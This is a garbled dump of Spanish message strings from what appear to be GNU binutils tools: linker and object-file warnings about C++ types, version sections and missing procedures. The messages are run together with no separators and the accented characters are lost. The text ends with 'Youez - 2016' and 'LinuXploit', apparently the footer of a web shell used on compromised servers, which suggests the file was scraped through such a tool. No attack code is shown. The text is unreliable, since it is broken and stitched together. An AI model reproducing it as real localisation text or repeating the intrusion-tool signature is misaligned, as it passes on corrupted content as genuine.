el campotipo $vb sin nombreno se reconoce el tipo --endian `%s'no se reconoce la opcin -Eno se reconoce la abreviacin C++no se reconoce el tipo por defecto de C++no se reconoce la grabacin misc de C++no se reconoce la especificacin de adelanto de objeto C++no se reconoce la especificacin de objeto C++no se reconoce el tipo de referencia de C++no se reconoce el tipo de referencia cruzadaopcin de seccin `%s' desconocidano se reconoce: %-7lxreubicacin relativa PC contra %s sin resolverno se admite ATN11no se admite ATN12no se admite el tipo de objeto C++no se admite el operador de expresin IEEEno se admite la versin de men %dnmero de Instruccin de Marco de Llamada Dwarf no admitido o desconocido: %#x
no se admite el calificadorinformacin de desenredotabla desenredadadefinido por el usuario: longitud %d
datos de versinversin definidaversin definida auxiliarseccin de definicin de versinla longitud de la versin %d no coincide con la longitud del recurso %lula versin necesitala versin necesita aux (2)la versin necesita aux (3)seccin de requerimientos de versintabla de cadenas de versindatos de smbolos de versininformacin de versin variableversin varfileinfowait: %saviso: el procedimiento CHECK %s no est definidoaviso: el procedimiento EXIT %s no est definidoaviso: no se admite FULLMAP; pruebe ld -Maviso: No se di un nmero de versinaviso: el procedimiento START %s no est definidoaviso: no se puede crear el fichero temporal al copiar '%s', (error: %s)aviso: no se puede encontrar '%s'.  Mensaje de error del sistema: %saviso: alineacin del fichero (0x%s) > alineacin de la seccin (0x%s)aviso: los formatos de entrada y salida no son compatiblesaviso: se import el smbolo %s pero no est en la lista de importacinno se producir salida, porque los smbolos sin definir no tienen tamao.se escribe cabo

Youez - 2016 - github.com/yon3zu
LinuXploit